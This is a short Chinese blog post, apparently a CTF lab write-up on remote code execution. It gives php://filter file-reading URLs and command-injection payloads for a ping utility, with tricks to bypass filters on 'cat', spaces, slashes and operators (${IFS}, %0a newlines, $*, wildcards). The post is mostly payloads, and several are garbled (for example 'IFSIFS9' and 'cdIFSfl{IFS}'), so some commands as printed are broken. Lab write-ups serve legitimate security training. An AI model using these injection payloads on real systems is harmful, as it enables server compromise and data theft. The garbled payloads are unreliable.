RCE(二)

132 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

远程包含

\

用 php://input

post 

\

读取源代码

    

    if ( substr($_GET["file"], 0, 6) === "php://" ) {

有这样一句话 说明php://已经不能用了     

但是直接告诉了 我们flag的位置

php伪协议

?file=php://filter/read=convert.base64-encode/resource=/flag

命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

开启题目30

127.0.0.1&cat 3030449741379.php

无回显 可能存在字符编码 无法显示出来

127.0.0.1&cat 3030449741379.php | base64

过滤cat

cat被过滤 可以将 cat通过、\ 分割

127.0.0.1&ca\t flag_2609723410041.php | base64

过滤空格

在 bash 下, 可以用以下字符代替空格:

<,<>,%20(space),%09(tab),IFSIFS9, IFS,{IFS},IFS  等

\

127.0.0.1&cat<flag_10551752832151.php|base64

\

过滤目录分隔符

说明反斜杠被过滤了

flag需要跳转到子文件夹里

而目录分隔符斜杠被过滤了

因此我们使用cd进入子文件夹,而不是直接cat访问 cat /flag 是进入文件夹flag中查询内容 而 cat flag 是直接查询内容(flag不能是文件夹 只能是记事本类)

输入127.0.0.1;cd flag_is_here;ls进入子文件夹并查询,使用分号间隔

127.0.0.1;cd flag_is_here;cat flag_xxx.php

然后查看页面源代码 得到flag

过滤运算符

过滤运算符的话 就是不能用& 换分号

综合过滤练习

但是没有过滤%0a,%0d,用${IFS}取代空格,用$*绕过关键词过滤,因为在没有定义的情况下,$*在shell命令执行下为空

url编码中,%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。

?ip=127.0.0.1%0als#

?ip=127.0.0.1%0D%0AcdIFSfl{IFS}fl*ag_is_here%0als#

这里ls是对flag_is_here目录进行操作,所有ls 是在cd flag_is_here执行后在flag_is_here目录下执行,这里拼接的就得用%0a换行符,可以等效&&,不能用%0d,%0d等效于&。

cat过滤绕过

因为过滤了cat,我们这里使用单引号绕过过滤,如ca’'t

?ip=127.0.0.1%0D%0AcdIFSfl{IFS}fl*ag_is_here%0acat*t{IFS}fl$*ag_25441897523099.php#